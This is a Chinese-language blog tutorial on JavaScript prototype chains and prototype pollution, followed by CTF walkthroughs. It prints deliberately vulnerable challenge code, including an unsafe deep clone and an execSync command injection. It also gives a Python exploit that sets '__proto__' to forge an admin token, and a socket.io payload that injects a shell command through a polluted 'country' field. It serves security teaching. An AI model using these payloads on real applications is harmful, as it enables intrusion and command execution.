javascript原型链污染详解(后有彩蛋)

admin 2021年5月1日08:59:05评论141 views字数 13508阅读45分1秒阅读模式

0x01

先上一张图,如果这张图你都能看懂的话,我觉得就没必要再往下看了

javascript原型链污染详解(后有彩蛋)
由图可得:
1、所有的对象都有__proto__属性,该属性对应该对象的原型.
2、所有的函数(也只有函数才有)对象都有prototype属性,该属性的值会被赋值给该函数创建的对象的_proto_属性.
3、所有的原型对象都有constructor属性,该属性对应创建所有指向该原型的实例的构造函数.
4、函数对象和原型对象通过prototype和constructor属性进行相互关联.

0x02

函数字面量

所有构造函数的__proto__都指向Function.prototype,它是一个空函数(Empty function)

javascript原型链污染详解(后有彩蛋)

javascript原型链污染详解(后有彩蛋)

javascript原型链污染详解(后有彩蛋)

对象字面量

对象字面量的__proto__直接指向大Boss-->Object

javascript原型链污染详解(后有彩蛋)

0x03

javascript原型链污染详解(后有彩蛋)

解读图

new操作符,在js中用于创建一个新的对象,在实际实现
(var p=new ObjectName(param1,parem2...);)的过程中,主要经历了以下三个步骤:

  • var o={};
  • o.__proto__=ObjectName.prototype;
  • ObjectName.call(o,parma1,param2);

剩下的可以先看完0x04部分再回来看,会有比较好的理解

0x04

我们知道javascript是能实现面向对象编程的,但javascript语法不支持"类",导致传统的面向对象编程方法无法直接使用。伟大的程序员做了很多探索,研究了如何用Javascript模拟"类"。

构造函数法

javascript原型链污染详解(后有彩蛋)

极简主义法

封装

javascript原型链污染详解(后有彩蛋)
这种方法的好处是,容易理解,结构清晰优雅,符合传统的"面向对象编程"的构造,因此可以方便地部署下面的特性。

继承

javascript原型链污染详解(后有彩蛋)

私有属性和私有方法

既然javasctipt能这么猛,能搞继承,那能不能有私有属性和私有方法呢?既然猛,那就再猛一点,答案是有的

javascript原型链污染详解(后有彩蛋)
细心点的童鞋可能发现了,上例的的内部变量age,外部无法获取。那么要如何来获取呢?跟其他语言一样,如下

javascript原型链污染详解(后有彩蛋)

prototype大法

我个人觉得上面两种方法虽然把模拟类实现的差不多了,上面实现继承是在函数里面再去继承,这样每次声明一个实例会将Animal复制一遍,这显然不是最优的方法。但是有没有既简单有最优的做法,答案是有的。也就是题目说的prototype大法。

javascript原型链污染详解(后有彩蛋)
这时再回去看0x03你可能会理解的更好

原型链污染

javascript原型链污染详解(后有彩蛋)

真题实战1

http://prompt.ml/13

function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^w:/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}

详解请看:[CTF – Prompt(1)解题报告 [Level D – Json Object]

真题实战2

```
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now

var matrix = [];
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}

function draw(mat) {
var count = 0;
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (matrix[i][j] !== null){
count += 1;
}
}
}
return count === 9;
}

app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);

app.get('/', (req, res) => {

for (var i = 0; i < 3; i++){
    matrix[i] = [null , null, null];

}
res.render('index');

})

app.get('/admin', (req, res) => {
/this is under development I guess ??/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is flag{prototype_pollution_is_very_dangerous}');
}
else {
res.status(403).send('Forbidden');
}

}
)

app.post('/api', (req, res) => {
var client = req.body;
var winner = null;

if (client.row > 3 || client.col > 3){
    client.row %= 3;
    client.col %= 3;
}
matrix[client.row][client.col] = client.data;
for(var i = 0; i < 3; i++){
    if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
        if (matrix[i][0] === 'X') {
            winner = 1;
        }
        else if(matrix[i][0] === 'O') {
            winner = 2;
        }
    }
    if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
        if (matrix[0][i] === 'X') {
            winner = 1;
        }
        else if(matrix[0][i] === 'O') {
            winner = 2;
        }
    }
}

if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
    winner = 1;
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
    winner = 2;
}

if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
    winner = 1;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
    winner = 2;
}

if (draw(matrix) && winner === null){
    res.send(JSON.stringify({winner: 0}))
}
else if (winner !== null) {
    res.send(JSON.stringify({winner: winner}))
}
else {
    res.send(JSON.stringify({winner: -1}))
}

})
app.listen(3000, () => {
console.log('app listening on port 3000!')
})
```

关键代码

```
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is flag{prototype_pollution_is_very_dangerous}');
}

var user = [];
var matrix = [];
matrix[client.row][client.col] = client.data;
```

这里刚开始user.admintoken是undefined的,而我们可控的是client,而且user跟matrix都是数组类型,那么利用原型链污染来覆盖admintoken。下面是exp

```

-- coding: utf-8 --

@Author: Marte

@Date: 2019-05-04 15:07:07

@Last Modified by: Marte

@Last Modified time: 2019-05-04 15:08:18

-- coding:utf8 --

import requests
import json

headers = {
'Content-Type': 'application/json'
}
data = {
'row': 'proto',
'col': 'admintoken',
'data': 'Decade'
}
myd = requests.session()
url = "http://localhost:3000/api"
url2 = "http://localhost:3000/admin?querytoken=ad3bf81f37b9dddba943b53f7670c57b"
myd.post(url, headers=headers, data=json.dumps(data))
print myd.get(url2).content
```

真题实战3

```javascript

client.js

const io = require('socket.io-client')
const socket = io.connect('https://chat.dctfq18.def.camp')

if(process.argv.length != 4) {
console.log('name and channel missing')
process.exit()
}
console.log('Logging as ' + process.argv[2] + ' on ' + process.argv[3])
var inputUser = {
name: process.argv[2],
};

socket.on('message', function(msg) {
console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:n", msg.message);
});

socket.on('error', function (err) {
console.log('received socket error:')
console.log(err)
})

socket.emit('register', JSON.stringify(inputUser));
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', process.argv[3]);//ps: you should keep your channels private
socket.emit('message', JSON.stringify({ channel: process.argv[3], msg: "hello channel" }));
socket.emit('message', JSON.stringify({ channel: "test", msg: "i own you" }));
```

```javascript

default_settings.json

{
"name": "Default",
"lastname": "Username",
"status": "Status Text",
"location": "127.0.0.1",
"country": "No Man`s Land",
"source": "Website",
"port": "3000"
}
```

```javascript

helper.js

var exports = module.exports = {
clone: function(obj) {

    if (typeof obj !== 'object' ||
        obj === null) {

        return obj;
    }

    var newObj;
    var cloneDeep = false;

    if (!Array.isArray(obj)) {
        if (Buffer.isBuffer(obj)) {
            newObj = new Buffer(obj);
        }
        else if (obj instanceof Date) {
            newObj = new Date(obj.getTime());
        }
        else if (obj instanceof RegExp) {
            newObj = new RegExp(obj);
        }
        else {

            var proto = Object.getPrototypeOf(obj);

            if (proto &&proto.isImmutable) {
                newObj = obj;
            }
            else {
                newObj = Object.create(proto);
                cloneDeep = true;
            }
        }
    }
    else {
        newObj = [];
        cloneDeep = true;
    }

    if (cloneDeep) {
        var keys = Object.getOwnPropertyNames(obj);

        for (var i = 0; i < keys.length; ++i) {
            var key = keys[i];
            var descriptor = Object.getOwnPropertyDescriptor(obj, key);

            if (descriptor &&(descriptor.get ||descriptor.set)) {
                Object.defineProperty(newObj, key, descriptor);
            }
            else {

                newObj[key] = this.clone(obj[key]); 
            }
        }
    }
    return newObj;
}, 
validUser: function(inp) {
    var block = ["source","port","font","country",
                 "location","status","lastname"];
    if(typeof inp !== 'object') {
        return false;
    }

    var keys = Object.keys( inp);
    for(var i = 0; i< keys.length; i++) {
        key = keys[i];

        if(block.indexOf(key) !== -1) {
            return false;
        }
    }

    var r =/^[a-z0-9]+$/gi;
    if(inp.name === undefined || !r.test(inp.name)) {
        return false;
    }

    return true;
},
getAscii: function(message) {
    var e = require('child_process');
    return e.execSync("echo '" + message + "'").toString();
}

}
```

```javascript

server.js

var fs = require('fs');
var server = require('http').createServer()
var io = require('socket.io')(server)
var clientManager = require('./clientManager')
var helper = require('./helper')

var defaultSettings = JSON.parse(fs.readFileSync('default_settings.json', 'utf8'));

function sendMessageToClient(client, from, message) {
var msg = {
from: from,
message: message
};

client.emit('message', msg);     
console.log(msg)
return true;

}

function sendMessageToChannel(channel, from, message) {
var msg = {
from: typeof from !== 'string' ? clientManager.getUsername(from): from,
message: message,
channel: channel
};

if(typeof from !== 'string') {
    if(!clientManager.isSubscribedTo(from, channel)) {
        console.log('Could not send message',msg,' from', 
            clientManager.getUsername(from),'to',channel,'because he is not subscribed.')
        return false;
    }
}

var clients = clientManager.getSubscribedToChannel(channel);

for(var i = 0; i<clients.length;i++) {
    if(typeof from !== 'string') {
        if(clients[i].id == from.id) {
            continue;
        }
    }

    clients[i].emit('message', msg);
}
console.log(msg)
return true;

}

io.on('connection', function (client) {
client.on('register', function(inUser) {
try {
newUser = helper.clone(JSON.parse(inUser))
console.log(newUser);
if(!helper.validUser(newUser)) {
sendMessageToClient(client,"Server",
'Invalid settings.')
return client.disconnect();
}

        var keys = Object.keys(defaultSettings);
        for (var i = 0; i < keys.length; ++i) {
            if(newUser[keys[i]] === undefined) {
                newUser[keys[i]] = defaultSettings[keys[i]]
            }
        }

        if (!clientManager.isUserAvailable(newUser.name)) {
            sendMessageToClient(client,"Server", 
                newUser.name + ' is not available')
            return client.disconnect(); 
        }

        clientManager.registerClient(client, newUser)
        return sendMessageToClient(client,"Server", 
            newUser.name + ' registered')
    } catch(e) { console.log(e); client.disconnect() }
});

client.on('join', function(channel) {
    try {
        clientManager.joinChannel(client, channel);
        sendMessageToClient(client,"Server", 
            "You joined channel", channel)

        var u = clientManager.getUsername(client);
        var c = clientManager.getCountry(client);
        console.log(c);
        sendMessageToChannel(channel,"Server", 
            helper.getAscii("User " + u + " living in " + c + " joined channel"))
    } catch(e) { console.log(e); client.disconnect() }
});

client.on('leave', function(channel) {
    try {
        client.join(channel);
        clientManager.leaveChannel(client, channel);
        sendMessageToClient(client,"Server", 
            "You left channel", channel)

        var u = clientManager.getUsername(client);
        var c = clientManager.getCountry(client);
        sendMessageToChannel(channel, "Server", 
            helper.getAscii("User " + u + " living in " + c + " left channel"))
    } catch(e) { console.log(e); client.disconnect() }
});

client.on('message', function(message) {
    try {
        message = JSON.parse(message);
        if(message.channel === undefined) {
            console.log(clientManager.getUsername(client),"said:", message.msg);
        } else {
            sendMessageToChannel(message.channel, client, message.msg);
        }
    } catch(e) { console.log(e); client.disconnect() }
});

client.on('disconnect', function () {
    try {
        console.log('client disconnect...', client.id)

        var oldclient = clientManager.removeClient(client);
        if(oldclient !== undefined) {
            for (const [channel, state] of Object.entries(oldclient.ch)) {
                if(!state) continue;
                sendMessageToChannel(channel, "Server", 
                    "User " + oldclient.u.name + " left channel");
            } 
        }
    } catch(e) { console.log(e); client.disconnect() }
})

client.on('error', function (err) {
console.log('received error from client:', client.id)
console.log(err)
})
});

server.listen(3000, function (err) {
if (err) throw err;
console.log('listening on port 3000');
});
```

```javascript

package.json

{
"name": "chat",
"version": "1.0.0",
"description": "DCTF",
"main": "NA",
"dependencies": {
"socket.io": "^2.2.0",
"socket.io-client": "^2.2.0"
},
"devDependencies": {},
"scripts": {
"test": "NA"
},
"repository": {
"type": "git",
"url": "NA"
},
"keywords": [
"DCTF"
],
"author": "Andrei",
"license": "UNLICENSED"
}
```

```javascript

clientManager.js

var helper = require('./helper')
var exports = module.exports = {
clients: {},
getUserByClient: function(client) {
return this.clients[client.id]
},
registerClient: function (client, user) {
this.clients[client.id] = { 'c': client,
'u': user,
'ch': {}
};
},
removeClient: function (client) {
var client_old = this.clients[client.id]
if(client_old === undefined)
return client_old

    delete client_old.c
    client_old = helper.clone(client_old)
    delete this.clients[client.id];
    return client_old
},
isUserAvailable: function (userName) {
    for (var [key, user] of Object.entries(this.clients)) {
      if(user.u.name == userName) {
        return false;
      }
    }
    return true;
},
getUsername: function (client) {
    return this.clients[client.id].u.name;
},
getLastname: function (client) {
    return this.clients[client.id].u.lastname;
},
getCountry: function (client) {
    return this.clients[client.id].u.country;
},
getLocation: function (client) {
    return this.clients[client.id].u.location;
},
getStatus: function (client) {
    return this.clients[client.id].u.status;
},
joinChannel: function (client, channel) {
    this.clients[client.id].ch[channel] = true; 
},
leaveChannel: function (client, channel) {
    this.clients[client.id].ch[channel] = false; 
},
getSubscribedToChannel: function(channel) {
    var subscribed = [];
    for (var [key, user] of Object.entries(this.clients)) {
        if(user.ch[channel] === true) {
            subscribed.push(user.c);
        }
    } 
    return subscribed;
},
isSubscribedTo: function(client, channel) {
    var user = this.getUserByClient(client)

    for (var [chs, state] of Object.entries(user.ch)) {
        if(state === true && chs === channel) {
            return true;
        }
    }

    return false;    
},

};
```

在helper.js,有一个很让人怀疑的地方

getAscii: function(message) {
var e = require('child_process');
return e.execSync("echo '" + message + "'").toString();
}

追踪调用到了此函数的地方发现,这里Username可控,但是Country不可控,那么有没有可能通过原型链污染来控制这个Country呢?

var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);
sendMessageToChannel(channel,"Server",
helper.getAscii("User " + u + " living in " + c + " joined channel"))

答案是有的,在helper.js这里,采用了深复制了输入的inUser

```
if (cloneDeep) {
var keys = Object.getOwnPropertyNames(obj);

        for (var i = 0; i < keys.length; ++i) {
            var key = keys[i];
            var descriptor = Object.getOwnPropertyDescriptor(obj, key);

            if (descriptor &&(descriptor.get ||descriptor.set)) {
                Object.defineProperty(newObj, key, descriptor);
            }
            else {

                newObj[key] = this.clone(obj[key]); 
            }
        }
    }
    return newObj;

```

巧妙构造exp如下,即可命令执行

socket.emit('register', '{"name":"Decade", "__proto__":{"country":"';ls;echo 'lala"}}');

javascript原型链污染详解(后有彩蛋)

javascript原型链污染详解(后有彩蛋)

javascript原型链污染详解(后有彩蛋)

真题实战4

源码地址:https://github.com/phith0n/code-breaking/tree/master/2018/thejs
可以看看p牛的文章分析:https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
p牛这篇文章要特别注意,写exp的时候记得用JSON.dumps传进去!!!
也可以参考Twings师傅的文章:JavaScript原型链污染

javascript原型链污染详解(后有彩蛋)

真题实战5

源码地址:https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs

https://xz.aliyun.com/t/6113#toc-5

javascript原型链污染详解(后有彩蛋)
可以很明显的看到lodash 4.17.15版本存在原型链污染漏洞。这里/get的逻辑大概就是从数据库查找评论,超过5条,合并在一起。

javascript原型链污染详解(后有彩蛋)
由于后端使用的ejs模版,那么如果ejs模版本身存在可以被污染的对象,直接即可getshell。

javascript原型链污染详解(后有彩蛋)

真题实战6

环境搭建及分析:https://xz.aliyun.com/t/7025#toc-1(vk师傅tql)

javascript原型链污染详解(后有彩蛋)

受真题实战5的启发,尝试在jade模版中找到可污染变量达到getshell的效果,这里手动构造一个原型链污染的入口,采用常规的merge方法。

javascript原型链污染详解(后有彩蛋)

生成null原型防止污染

javascript原型链污染详解(后有彩蛋)

python扩展

细心的同学就会发现这一个跟python有一个沙盒逃逸有点像,那么python会不会也有类似的"污染"呢?
)

javascript原型链污染详解(后有彩蛋)

相关推荐: linux初体验

翻阅了一些书籍,将Linux系统学习下来还是有一些难度,毕竟成为一名合格的Linux运维工程师,须必备的技术点,是渗透到方方面面。先说说基础入门基础入门涉及到的知识点不外乎:虚拟机、vmware虚拟机、VM基本操作、基本命令、Linux用户及权限基础、Linu…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月1日08:59:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   javascript原型链污染详解(后有彩蛋)https://cn-sec.com/archives/246222.html